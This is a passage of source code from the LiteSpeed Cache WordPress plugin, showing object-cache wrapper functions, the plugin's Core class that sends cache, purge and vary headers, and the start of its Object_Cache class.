}

/**
 * Sets multiple values to the cache in one call.
 *
 * @since 5.4
 * @access public
 * @see WP_Object_Cache::set_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $data   Array of keys and values to be set.
 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
 * @param int    $expire Optional. When to expire the cache contents, in seconds.
 *                       Default 0 (no expiration).
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false on failure.
 */
function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->set_multiple( $data, $group, $expire );
}

/**
 * Retrieves the cache contents from the cache by key and group.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::get()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key   The key under which the cache contents are stored.
 * @param string     $group Optional. Where the cache contents are grouped. Default empty.
 * @param bool       $force Optional. Whether to force an update of the local cache
 *                          from the persistent cache. Default false.
 * @param bool       $found Optional. Whether the key was found in the cache (passed by reference).
 *                          Disambiguates a return of false, a storable value. Default null.
 * @return mixed|false The cache contents on success, false on failure to retrieve contents.
 */
function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
	global $wp_object_cache;

	return $wp_object_cache->get( $key, $group, $force, $found );
}

/**
 * Retrieves multiple values from the cache in one call.
 *
 * @since 5.4
 * @access public
 * @see WP_Object_Cache::get_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $keys  Array of keys under which the cache contents are stored.
 * @param string $group Optional. Where the cache contents are grouped. Default empty.
 * @param bool   $force Optional. Whether to force an update of the local cache
 *                      from the persistent cache. Default false.
 * @return array Array of return values, grouped by key. Each value is either
 *               the cache contents on success, or false on failure.
 */
function wp_cache_get_multiple( $keys, $group = '', $force = false ) {
	global $wp_object_cache;

	return $wp_object_cache->get_multiple( $keys, $group, $force );
}

/**
 * Removes the cache contents matching key and group.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::delete()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key   What the contents in the cache are called.
 * @param string     $group Optional. Where the cache contents are grouped. Default empty.
 * @return bool True on successful removal, false on failure.
 */
function wp_cache_delete( $key, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->delete( $key, $group );
}

/**
 * Deletes multiple values from the cache in one call.
 *
 * @since 5.4
 * @access public
 * @see WP_Object_Cache::delete_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $keys  Array of keys under which the cache to deleted.
 * @param string $group Optional. Where the cache contents are grouped. Default empty.
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false if the contents were not deleted.
 */
function wp_cache_delete_multiple( array $keys, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->delete_multiple( $keys, $group );
}

/**
 * Increments numeric cache item's value.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::incr()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The key for the cache contents that should be incremented.
 * @param int        $offset Optional. The amount by which to increment the item's value.
 *                           Default 1.
 * @param string     $group  Optional. The group the key is in. Default empty.
 * @return int|false The item's new value on success, false on failure.
 */
function wp_cache_incr( $key, $offset = 1, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->incr( $key, $offset, $group );
}

/**
 * Decrements numeric cache item's value.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::decr()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to decrement.
 * @param int        $offset Optional. The amount by which to decrement the item's value.
 *                           Default 1.
 * @param string     $group  Optional. The group the key is in. Default empty.
 * @return int|false The item's new value on success, false on failure.
 */
function wp_cache_decr( $key, $offset = 1, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->decr( $key, $offset, $group );
}

/**
 * Removes all cache items.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::flush()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @return bool True on success, false on failure.
 */
function wp_cache_flush() {
	global $wp_object_cache;

	return $wp_object_cache->flush();
}

/**
 * Removes all cache items from the in-memory runtime cache.
 *
 * @since 5.4
 * @access public
 * @see WP_Object_Cache::flush_runtime()
 *
 * @return bool True on success, false on failure.
 */
function wp_cache_flush_runtime() {
	global $wp_object_cache;

	return $wp_object_cache->flush_runtime();
}

/**
 * Removes all cache items in a group, if the object cache implementation supports it.
 *
 * Before calling this function, always check for group flushing support using the
 * `wp_cache_supports( 'flush_group' )` function.
 *
 * @since 5.4
 * @access public
 * @see WP_Object_Cache::flush_group()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param string $group Name of group to remove from cache.
 * @return bool True if group was flushed, false otherwise.
 */
function wp_cache_flush_group( $group ) {
	global $wp_object_cache;

	return $wp_object_cache->flush_group( $group );
}

/**
 * Determines whether the object cache implementation supports a particular feature.
 *
 * @since 5.4
 * @access public
 *
 * @param string $feature Name of the feature to check for. Possible values include:
 *                        'add_multiple', 'set_multiple', 'get_multiple', 'delete_multiple',
 *                        'flush_runtime', 'flush_group'.
 * @return bool True if the feature is supported, false otherwise.
 */
function wp_cache_supports( $feature ) {
	switch ( $feature ) {
		case 'add_multiple':
		case 'set_multiple':
		case 'get_multiple':
		case 'delete_multiple':
		case 'flush_runtime':
			return true;

		case 'flush_group':
		default:
			return false;
	}
}

/**
 * Closes the cache.
 *
 * This function has ceased to do anything since WordPress 2.5. The
 * functionality was removed along with the rest of the persistent cache.
 *
 * This does not mean that plugins can't implement this function when they need
 * to make sure that the cache is cleaned up after WordPress no longer needs it.
 *
 * @since 1.8
 * @access public
 *
 * @return true Always returns true.
 */
function wp_cache_close() {
	return true;
}

/**
 * Adds a group or set of groups to the list of global groups.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::add_global_groups()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param string|string[] $groups A group or an array of groups to add.
 */
function wp_cache_add_global_groups( $groups ) {
	global $wp_object_cache;

	$wp_object_cache->add_global_groups( $groups );
}

/**
 * Adds a group or set of groups to the list of non-persistent groups.
 *
 * @since 1.8
 * @access public
 *
 * @param string|string[] $groups A group or an array of groups to add.
 */
function wp_cache_add_non_persistent_groups( $groups ) {
	global $wp_object_cache;

	$wp_object_cache->add_non_persistent_groups( $groups );
}

/**
 * Switches the internal blog ID.
 *
 * This changes the blog id used to create keys in blog specific groups.
 *
 * @since 1.8
 * @access public
 * @see WP_Object_Cache::switch_to_blog()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int $blog_id Site ID.
 */
function wp_cache_switch_to_blog( $blog_id ) {
	global $wp_object_cache;

	$wp_object_cache->switch_to_blog( $blog_id );
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/core.cls.php000064400000052017151031165260017304 0ustar00<?php
// phpcs:ignoreFile
/**
 * The core plugin class.
 *
 * This is the main class for the LiteSpeed Cache plugin, responsible for initializing
 * the plugin's core functionality, registering hooks, and handling cache-related operations.
 *
 * Note: Core doesn't allow $this->cls( 'Core' )
 *
 * @since 1.0.0
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Core
 *
 * @since 1.0.0
 */
class Core extends Root {

	const NAME        = 'LiteSpeed Cache';
	const PLUGIN_NAME = 'litespeed-cache';
	const PLUGIN_FILE = 'litespeed-cache/litespeed-cache.php';
	const VER         = LSCWP_V;

	const ACTION_DISMISS             = 'dismiss';
	const ACTION_PURGE_BY            = 'PURGE_BY';
	const ACTION_PURGE_EMPTYCACHE    = 'PURGE_EMPTYCACHE';
	const ACTION_QS_PURGE            = 'PURGE';
	const ACTION_QS_PURGE_SINGLE     = 'PURGESINGLE'; // This will be same as `ACTION_QS_PURGE` (purge single URL only)
	const ACTION_QS_SHOW_HEADERS     = 'SHOWHEADERS';
	const ACTION_QS_PURGE_ALL        = 'purge_all';
	const ACTION_QS_PURGE_EMPTYCACHE = 'empty_all';
	const ACTION_QS_NOCACHE          = 'NOCACHE';

	const HEADER_DEBUG = 'X-LiteSpeed-Debug';

	/**
	 * Whether to show debug headers.
	 *
	 * @var bool
	 * @since 1.0.0
	 */
	protected static $debug_show_header = false;

	/**
	 * Footer comment buffer.
	 *
	 * @var string
	 * @since 1.0.0
	 */
	private $footer_comment = '';

	/**
	 * Define the core functionality of the plugin.
	 *
	 * Set the plugin name and the plugin version that can be used throughout the plugin.
	 * Load the dependencies, define the locale, and set the hooks for the admin area and
	 * the public-facing side of the site.
	 *
	 * @since 1.0.0
	 */
	public function __construct() {
		! defined( 'LSCWP_TS_0' ) && define( 'LSCWP_TS_0', microtime( true ) );
		$this->cls( 'Conf' )->init();

		/**
		 * Load API hooks
		 *
		 * @since 3.0
		 */
		$this->cls( 'API' )->init();

		if ( defined( 'LITESPEED_ON' ) ) {
			// Load third party detection if lscache enabled.
			include_once LSCWP_DIR . 'thirdparty/entry.inc.php';
		}


		if ( $this->conf( Base::O_DEBUG_DISABLE_ALL ) || Debug2::is_tmp_disable() ) {
			! defined( 'LITESPEED_DISABLE_ALL' ) && define( 'LITESPEED_DISABLE_ALL', true );
		}

		/**
		 * Register plugin activate/deactivate/uninstall hooks
		 * NOTE: this can't be moved under after_setup_theme, otherwise activation will be bypassed
		 *
		 * @since 2.7.1 Disabled admin&CLI check to make frontend able to enable cache too
		 */
		$plugin_file = LSCWP_DIR . 'litespeed-cache.php';
		register_activation_hook( $plugin_file, array( __NAMESPACE__ . '\Activation', 'register_activation' ) );
		register_deactivation_hook( $plugin_file, array( __NAMESPACE__ . '\Activation', 'register_deactivation' ) );
		register_uninstall_hook( $plugin_file, __NAMESPACE__ . '\Activation::uninstall_litespeed_cache' );

		if ( defined( 'LITESPEED_ON' ) ) {
			// Register purge_all actions
			$purge_all_events = $this->conf( Base::O_PURGE_HOOK_ALL );

			// Purge all on upgrade
			if ( $this->conf( Base::O_PURGE_ON_UPGRADE ) ) {
				$purge_all_events[] = 'automatic_updates_complete';
				$purge_all_events[] = 'upgrader_process_complete';
				$purge_all_events[] = 'admin_action_do-plugin-upgrade';
			}
			foreach ( $purge_all_events as $event ) {
				// Don't allow hook to update_option because purge_all will cause infinite loop of update_option
				if ( in_array( $event, array( 'update_option' ), true ) ) {
					continue;
				}
				add_action( $event, __NAMESPACE__ . '\Purge::purge_all' );
			}

			// Add headers to site health check for full page cache
			// @since 5.4
			add_filter( 'site_status_page_cache_supported_cache_headers', function ( $cache_headers ) {
				$is_cache_hit                       = function ( $header_value ) {
					return false !== strpos( strtolower( $header_value ), 'hit' );
				};
				$cache_headers['x-litespeed-cache'] = $is_cache_hit;
				$cache_headers['x-lsadc-cache']     = $is_cache_hit;
				$cache_headers['x-qc-cache']        = $is_cache_hit;
				return $cache_headers;
			} );
		}

		add_action( 'after_setup_theme', array( $this, 'init' ) );

		// Check if there is a purge request in queue
		if ( ! defined( 'LITESPEED_CLI' ) ) {
			$purge_queue = Purge::get_option( Purge::DB_QUEUE );
			if ( $purge_queue && '-1' !== $purge_queue ) {
				$this->http_header( $purge_queue );
				Debug2::debug( '[Core] Purge Queue found&sent: ' . $purge_queue );
			}
			if ( '-1' !== $purge_queue ) {
				Purge::update_option( Purge::DB_QUEUE, '-1' ); // Use -1 to bypass purge while still enable db update as WP's update_option will check value===false to bypass update
			}

			$purge_queue = Purge::get_option( Purge::DB_QUEUE2 );
			if ( $purge_queue && '-1' !== $purge_queue ) {
				$this->http_header( $purge_queue );
				Debug2::debug( '[Core] Purge2 Queue found&sent: ' . $purge_queue );
			}
			if ( '-1' !== $purge_queue ) {
				Purge::update_option( Purge::DB_QUEUE2, '-1' );
			}
		}

		/**
		 * Hook internal REST
		 *
		 * @since 2.9.4
		 */
		$this->cls( 'REST' );

		/**
		 * Hook wpnonce function
		 *
		 * Note: ESI nonce won't be available until hook after_setup_theme ESI init due to Guest Mode concern
		 *
		 * @since 4.1
		 */
		if ( $this->cls( 'Router' )->esi_enabled() && ! function_exists( 'wp_create_nonce' ) ) {
			Debug2::debug( '[ESI] Overwrite wp_create_nonce()' );
			litespeed_define_nonce_func();
		}
	}

	/**
	 * The plugin initializer.
	 *
	 * This function checks if the cache is enabled and ready to use, then determines what actions need to be set up based on the type of user and page accessed. Output is buffered if the cache is enabled.
	 *
	 * NOTE: WP user doesn't init yet
	 *
	 * @since 1.0.0
	 */
	public function init() {
		/**
		 * Added hook before init
		 * 3rd party preload hooks will be fired here too (e.g. Divi disable all in edit mode)
		 *
		 * @since 1.6.6
		 * @since 2.6 Added filter to all config values in Conf
		 */
		do_action( 'litespeed_init' );
		add_action( 'wp_ajax_async_litespeed', 'LiteSpeed\Task::async_litespeed_handler' );
		add_action( 'wp_ajax_nopriv_async_litespeed', 'LiteSpeed\Task::async_litespeed_handler' );

		// In `after_setup_theme`, before `init` hook
		$this->cls( 'Activation' )->auto_update();

		if ( is_admin() && ! wp_doing_ajax() ) {
			$this->cls( 'Admin' );
		}

		if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) {
			Debug2::debug( '[Core] Bypassed due to debug disable all setting' );
			return;
		}

		do_action( 'litespeed_initing' );

		ob_start( array( $this, 'send_headers_force' ) );
		add_action( 'shutdown', array( $this, 'send_headers' ), 0 );
		add_action( 'wp_footer', array( $this, 'footer_hook' ) );

		/**
		 * Check if is non-optimization simulator
		 *
		 * @since 2.9
		 */
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
		if ( ! empty( $_GET[ Router::ACTION ] ) && 'before_optm' === $_GET[ Router::ACTION ] && ! apply_filters( 'litespeed_qs_forbidden', false ) ) {
			Debug2::debug( '[Core] ⛑️ bypass_optm due to QS CTRL' );
			! defined( 'LITESPEED_NO_OPTM' ) && define( 'LITESPEED_NO_OPTM', true );
		}

		/**
		 * Register vary filter
		 *
		 * @since 1.6.2
		 */
		$this->cls( 'Control' )->init();

		// Init Purge hooks
		$this->cls( 'Purge' )->init();

		$this->cls( 'Tag' )->init();

		// Load hooks that may be related to users
		add_action( 'init', array( $this, 'after_user_init' ), 5 );

		// Load 3rd party hooks
		add_action( 'wp_loaded', array( $this, 'load_thirdparty' ), 2 );
	}

	/**
	 * Run hooks after user init
	 *
	 * @since 2.9.8
	 */
	public function after_user_init() {
		$this->cls( 'Router' )->is_role_simulation();

		// Detect if is Guest mode or not
		$this->cls( 'Vary' )->after_user_init();

		// Register attachment delete hook
		$this->cls( 'Media' )->after_user_init();

		/**
		 * Preload ESI functionality for ESI request URI recovery
		 *
		 * @since 1.8.1
		 * @since 4.0 ESI init needs to be after Guest mode detection to bypass ESI if is under Guest mode
		 */
		$this->cls( 'ESI' )->init();

		if ( ! is_admin() && ! defined( 'LITESPEED_GUEST_OPTM' ) ) {
			$result = $this->cls( 'Conf' )->in_optm_exc_roles();
			if ( $result ) {
				Debug2::debug( '[Core] ⛑️ bypass_optm: hit Role Excludes setting: ' . $result );
				! defined( 'LITESPEED_NO_OPTM' ) && define( 'LITESPEED_NO_OPTM', true );
			}
		}

		// Heartbeat control
		$this->cls( 'Tool' )->heartbeat();

		if ( ! defined( 'LITESPEED_NO_OPTM' ) || ! LITESPEED_NO_OPTM ) {
			// Check missing static files
			$this->cls( 'Router' )->serve_static();

			$this->cls( 'Media' )->init();

			$this->cls( 'Placeholder' )->init();

			$this->cls( 'Router' )->can_optm() && $this->cls( 'Optimize' )->init();

			$this->cls( 'Localization' )->init();

			// Hook CDN for attachments
			$this->cls( 'CDN' )->init();

			// Load cron tasks
			$this->cls( 'Task' )->init();
		}

		// Load litespeed actions
		$action = Router::get_action();
		if ( $action ) {
			$this->proceed_action( $action );
		}

		// Load frontend GUI
		if ( ! is_admin() ) {
			$this->cls( 'GUI' )->init();
		}
	}

	/**
	 * Run frontend actions
	 *
	 * @since 1.1.0
	 * @param string $action The action to proceed.
	 */
	public function proceed_action( $action ) {
		$msg = false;
		// Handle actions
		switch ( $action ) {
			case self::ACTION_QS_SHOW_HEADERS:
				self::$debug_show_header = true;
				break;

			case self::ACTION_QS_PURGE:
			case self::ACTION_QS_PURGE_SINGLE:
				Purge::set_purge_single();
				break;

			case self::ACTION_QS_PURGE_ALL:
				Purge::purge_all();
				break;

			case self::ACTION_PURGE_EMPTYCACHE:
			case self::ACTION_QS_PURGE_EMPTYCACHE:
				define( 'LSWCP_EMPTYCACHE', true ); // Clear all sites caches
				Purge::purge_all();
				$msg = __( 'Notified LiteSpeed Web Server to purge everything.', 'litespeed-cache' );
				break;

			case self::ACTION_PURGE_BY:
				$this->cls( 'Purge' )->purge_list();
				$msg = __( 'Notified LiteSpeed Web Server to purge the list.', 'litespeed-cache' );
				break;

			case self::ACTION_DISMISS:
				GUI::dismiss();
				break;

			default:
				$msg = $this->cls( 'Router' )->handler( $action );
				break;
		}
		if ( $msg && ! Router::is_ajax() ) {
			Admin_Display::add_notice( Admin_Display::NOTICE_GREEN, $msg );
			Admin::redirect();
			return;
		}

		if ( Router::is_ajax() ) {
			exit();
		}
	}

	/**
	 * Callback used to call the detect third party action.
	 *
	 * The detect action is used by third party plugin integration classes to determine if they should add the rest of their hooks.
	 *
	 * @since 1.0.5
	 */
	public function load_thirdparty() {
		do_action( 'litespeed_load_thirdparty' );
	}

	/**
	 * Mark wp_footer called
	 *
	 * @since 1.3
	 */
	public function footer_hook() {
		Debug2::debug( '[Core] Footer hook called' );
		if ( ! defined( 'LITESPEED_FOOTER_CALLED' ) ) {
			define( 'LITESPEED_FOOTER_CALLED', true );
		}
	}

	/**
	 * Trigger comment info display hook
	 *
	 * @since 1.3
	 * @param string|null $buffer The buffer to check.
	 * @return void
	 */
	private function check_is_html( $buffer = null ) {
		if ( ! defined( 'LITESPEED_FOOTER_CALLED' ) ) {
			Debug2::debug2( '[Core] CHK html bypass: miss footer const' );
			return;
		}

		if ( wp_doing_ajax() ) {
			Debug2::debug2( '[Core] CHK html bypass: doing ajax' );
			return;
		}

		if ( wp_doing_cron() ) {
			Debug2::debug2( '[Core] CHK html bypass: doing cron' );
			return;
		}

		if ( empty( $_SERVER['REQUEST_METHOD'] ) || 'GET' !== $_SERVER['REQUEST_METHOD'] ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			Debug2::debug2( '[Core] CHK html bypass: not get method ' . wp_unslash( $_SERVER['REQUEST_METHOD'] ) );
			return;
		}

		if ( null === $buffer ) {
			$buffer = ob_get_contents();
		}

		// Double check to make sure it is an HTML file
		if ( strlen( $buffer ) > 300 ) {
			$buffer = substr( $buffer, 0, 300 );
		}
		if ( false !== strstr( $buffer, '<!--' ) ) {
			$buffer = preg_replace( '/<!--.*?-->/s', '', $buffer );
		}
		$buffer = trim( $buffer );

		$buffer = File::remove_zero_space( $buffer );

		$is_html = 0 === stripos( $buffer, '<html' ) || 0 === stripos( $buffer, '<!DOCTYPE' );

		if ( ! $is_html ) {
			Debug2::debug( '[Core] Footer check failed: ' . ob_get_level() . '-' . substr( $buffer, 0, 100 ) );
			return;
		}

		Debug2::debug( '[Core] Footer check passed' );

		if ( ! defined( 'LITESPEED_IS_HTML' ) ) {
			define( 'LITESPEED_IS_HTML', true );
		}
	}

	/**
	 * For compatibility with plugins that have 'Bad' logic that forced all buffer output even if it is NOT their buffer.
	 *
	 * Usually this is called after send_headers() if following original WP process
	 *
	 * @since 1.1.5
	 * @param string $buffer The buffer to process.
	 * @return string The processed buffer.
	 */
	public function send_headers_force( $buffer ) {
		$this->check_is_html( $buffer );

		// Hook to modify buffer before
		$buffer = apply_filters( 'litespeed_buffer_before', $buffer );

		/**
		 * Media: Image lazyload && WebP
		 * GUI: Clean wrapper mainly for ESI block NOTE: this needs to be before optimizer to avoid wrapper being removed
		 * Optimize
		 * CDN
		 */
		if ( ! defined( 'LITESPEED_NO_OPTM' ) || ! LITESPEED_NO_OPTM ) {
			Debug2::debug( '[Core] run hook litespeed_buffer_finalize' );
			$buffer = apply_filters( 'litespeed_buffer_finalize', $buffer );
		}

		/**
		 * Replace ESI preserved list
		 *
		 * @since 3.3 Replace this in the end to avoid `Inline JS Defer` or other Page Optm features encoded ESI tags wrongly, which caused LSWS can't recognize ESI
		 */
		$buffer = $this->cls( 'ESI' )->finalize( $buffer );

		$this->send_headers( true );

		// Log ESI nonce buffer empty issue
		if ( defined( 'LSCACHE_IS_ESI' ) && 0 === strlen( $buffer ) && ! empty( $_SERVER['REQUEST_URI'] ) ) {
			// Log ref for debug purpose
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.PHP.DevelopmentFunctions.error_log_error_log
			error_log( 'ESI buffer empty ' . wp_unslash( $_SERVER['REQUEST_URI'] ) );
		}

		// Init comment info
		$running_info_showing = defined( 'LITESPEED_IS_HTML' ) || defined( 'LSCACHE_IS_ESI' );
		if ( defined( 'LSCACHE_ESI_SILENCE' ) ) {
			$running_info_showing = false;
			Debug2::debug( '[Core] ESI silence' );
		}
		/**
		 * Silence comment for JSON request
		 *
		 * @since 2.9.3
		 */
		if ( REST::cls()->is_rest() || Router::is_ajax() ) {
			$running_info_showing = false;
			Debug2::debug( '[Core] Silence Comment due to REST/AJAX' );
		}
		$running_info_showing = apply_filters( 'litespeed_comment', $running_info_showing );
		if ( $running_info_showing && $this->footer_comment ) {
			$buffer .= $this->footer_comment;
		}

		/**
		 * If ESI request is JSON, give the content JSON format
		 *
		 * @since 2.9.3
		 * @since 2.9.4 ESI request could be from internal REST call, so moved json_encode out of this condition
		 */
		if ( defined( 'LSCACHE_IS_ESI' ) ) {
			Debug2::debug( '[Core] ESI Start 👇' );
			if ( strlen( $buffer ) > 500 ) {
				Debug2::debug( trim( substr( $buffer, 0, 500 ) ) . '.....' );
			} else {
				Debug2::debug( $buffer );
			}
			Debug2::debug( '[Core] ESI End 👆' );
		}

		if ( apply_filters( 'litespeed_is_json', false ) ) {
			if ( null === \json_decode( $buffer, true ) ) {
				Debug2::debug( '[Core] Buffer converting to JSON' );
				$buffer = wp_json_encode( $buffer );
				$buffer = trim( $buffer, '"' );
			} else {
				Debug2::debug( '[Core] JSON Buffer' );
			}
		}

		// Hook to modify buffer after
		$buffer = apply_filters( 'litespeed_buffer_after', $buffer );

		Debug2::ended();

		return $buffer;
	}

	/**
	 * Sends the headers out at the end of processing the request.
	 *
	 * This will send out all LiteSpeed Cache related response headers needed for the post.
	 *
	 * @since 1.0.5
	 * @param bool $is_forced If the header is sent following our normal finalizing logic.
	 */
	public function send_headers( $is_forced = false ) {
		// Make sure header output only runs once
		if ( defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) {
			return;
		}
		define( 'LITESPEED_DID_' . __FUNCTION__, true );

		// Avoid PHP warning for headers sent out already
		if ( headers_sent() ) {
			self::debug( '❌ !!! Err: Header sent out already' );
			return;
		}

		$this->check_is_html();

		// Cache control output needs to be done first, as some varies are added in 3rd party hook `litespeed_api_control`.
		$this->cls( 'Control' )->finalize();

		$vary_header = $this->cls( 'Vary' )->finalize();

		// If not cacheable but Admin QS is `purge` or `purgesingle`, `tag` still needs to be generated
		$tag_header = $this->cls( 'Tag' )->output();
		if ( ! $tag_header && Control::is_cacheable() ) {
			Control::set_nocache( 'empty tag header' );
		}

		// `Purge` output needs to be after `tag` output as Admin QS may need to send `tag` header
		$purge_header = Purge::output();

		// Generate `control` header in the end in case control status is changed by other headers
		$control_header = $this->cls( 'Control' )->output();

		// Give one more break to avoid Firefox crash
		if ( ! defined( 'LSCACHE_IS_ESI' ) ) {
			$this->footer_comment .= "\n";
		}

		$cache_support = 'supported';
		if ( defined( 'LITESPEED_ON' ) ) {
			$cache_support = Control::is_cacheable() ? 'cached' : 'uncached';
		}

		$this->comment(
			sprintf(
				'%1$s %2$s by LiteSpeed Cache %4$s on %3$s',
				defined( 'LSCACHE_IS_ESI' ) ? 'Block' : 'Page',
				$cache_support,
				gmdate( 'Y-m-d H:i:s', time() + LITESPEED_TIME_OFFSET ),
				self::VER
			)
		);

		// Send Control header
		if ( defined( 'LITESPEED_ON' ) && $control_header ) {
			$this->http_header( $control_header );
			if ( ! Control::is_cacheable() && !is_admin() ) {
				$ori_wp_header = wp_get_nocache_headers();
				if ( isset( $ori_wp_header['Cache-Control'] ) ) {
					$this->http_header( 'Cache-Control: ' . $ori_wp_header['Cache-Control'] ); // @ref: https://github.com/litespeedtech/lscache_wp/issues/889
				}
			}
			if ( defined( 'LSCWP_LOG' ) ) {
				$this->comment( $control_header );
			}
		}

		// Send PURGE header (Always send regardless of cache setting disabled/enabled)
		if ( defined( 'LITESPEED_ON' ) && $purge_header ) {
			$this->http_header( $purge_header );
			Debug2::log_purge( $purge_header );

			if ( defined( 'LSCWP_LOG' ) ) {
				$this->comment( $purge_header );
			}
		}

		// Send Vary header
		if ( defined( 'LITESPEED_ON' ) && $vary_header ) {
			$this->http_header( $vary_header );
			if ( defined( 'LSCWP_LOG' ) ) {
				$this->comment( $vary_header );
			}
		}

		if ( defined( 'LITESPEED_ON' ) && defined( 'LSCWP_LOG' ) ) {
			$vary = $this->cls( 'Vary' )->finalize_full_varies();
			if ( $vary ) {
				$this->comment( 'Full varies: ' . $vary );
			}
		}

		// Admin QS show header action
		if ( self::$debug_show_header ) {
			$debug_header = self::HEADER_DEBUG . ': ';
			if ( $control_header ) {
				$debug_header .= $control_header . '; ';
			}
			if ( $purge_header ) {
				$debug_header .= $purge_header . '; ';
			}
			if ( $tag_header ) {
				$debug_header .= $tag_header . '; ';
			}
			if ( $vary_header ) {
				$debug_header .= $vary_header . '; ';
			}
			$this->http_header( $debug_header );
		} elseif ( defined( 'LITESPEED_ON' ) && Control::is_cacheable() && $tag_header ) {
			$this->http_header( $tag_header );
			if ( defined( 'LSCWP_LOG' ) ) {
				$this->comment( $tag_header );
			}
		}

		// Object cache comment
		if ( defined( 'LSCWP_LOG' ) && defined( 'LSCWP_OBJECT_CACHE' ) && method_exists( 'WP_Object_Cache', 'debug' ) ) {
			$this->comment( 'Object Cache ' . \WP_Object_Cache::get_instance()->debug() );
		}

		if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) {
			$this->comment( 'Guest Mode' );
		}

		if ( ! empty( $this->footer_comment ) ) {
			self::debug( "[footer comment]\n" . trim( $this->footer_comment ) );
		}

		if ( $is_forced ) {
			Debug2::debug( '--forced--' );
		}

		// If CLI and contains Purge Header, issue an HTTP request to Purge
		if ( defined( 'LITESPEED_CLI' ) ) {
			$purge_queue = Purge::get_option( Purge::DB_QUEUE );
			if ( ! $purge_queue || '-1' === $purge_queue ) {
				$purge_queue = Purge::get_option( Purge::DB_QUEUE2 );
			}
			if ( $purge_queue && '-1' !== $purge_queue ) {
				self::debug( '[Core] Purge Queue found, issue an HTTP request to purge: ' . $purge_queue );
				// Kick off HTTP request
				$url  = admin_url( 'admin-ajax.php' );
				$resp = wp_safe_remote_get( $url );
				if ( is_wp_error( $resp ) ) {
					$error_message = $resp->get_error_message();
					self::debug( '[URL]' . $url );
					self::debug( 'failed to request: ' . $error_message );
				} else {
					self::debug( 'HTTP request response: ' . $resp['body'] );
				}
			}
		}
	}

	/**
	 * Append one HTML comment
	 *
	 * @since 5.5
	 * @param string $data The comment data.
	 */
	public static function comment( $data ) {
		self::cls()->append_comment( $data );
	}

	/**
	 * Append one HTML comment
	 *
	 * @since 5.5
	 * @param string $data The comment data.
	 */
	private function append_comment( $data ) {
		$this->footer_comment .= "\n<!-- " . $data . ' -->';
	}

	/**
	 * Send HTTP header
	 *
	 * @since 5.3
	 * @param string $header The header to send.
	 */
	private function http_header( $header ) {
		if ( defined( 'LITESPEED_CLI' ) ) {
			return;
		}

		if ( ! headers_sent() ) {
			header( $header );
		}

		if ( ! defined( 'LSCWP_LOG' ) ) {
			return;
		}
		Debug2::debug( '💰 ' . $header );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/object-cache.cls.php000064400000050464151031165260020667 0ustar00<?php
/**
 * The object cache class.
 *
 * @since       1.8
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

require_once dirname( __DIR__ ) . '/autoload.php';

/**
 * Object cache handler using Redis or Memcached.
 *
 * NOTE: this class may be included without initialized core.
 *
 * @since 1.8
 */
class Object_Cache extends Root {
	const LOG_TAG = '[Object_Cache]';

	/**
	 * Debug option key.
	 *
	 * @var string
	 */
	const O_DEBUG = 'debug';

	/**
	 * Object cache enable key.
	 *
	 * @var string
	 */
	const O_OBJECT = 'object';

	/**
	 * Object kind (Redis/Memcached).
	 *
	 * @var string
	 */
	const O_OBJECT_KIND = 'object-kind';

	/**
	 * Object host.
	 *
	 * @var string
	 */
	const O_OBJECT_HOST = 'object-host';

	/**
	 * Object port.
	 *
	 * @var string
	 */
	const O_OBJECT_PORT = 'object-port';

	/**
	 * Object life/TTL.
	 *
	 * @var string
	 */
	const O_OBJECT_LIFE = 'object-life';

	/**
	 * Persistent connection flag.
	 *
	 * @var string
	 */
	const O_OBJECT_PERSISTENT = 'object-persistent';

	/**
	 * Admin cache flag.
	 *
	 * @var string
	 */
	const O_OBJECT_ADMIN = 'object-admin';

	/**
	 * Transients store flag.
	 *
	 * @var string
	 */
	const O_OBJECT_TRANSIENTS = 'object-transients';

	/**
	 * DB index for Redis.
	 *
	 * @var string
	 */
	const O_OBJECT_DB_ID = 'object-db_id';

	/**
	 * Username for auth.
	 *
	 * @var string
	 */
	const O_OBJECT_USER = 'object-user';

	/**
	 * Password for auth.
	 *
	 * @var string
	 */
	const O_OBJECT_PSWD = 'object-pswd';

	/**
	 * Global groups list.
	 *
	 * @var string
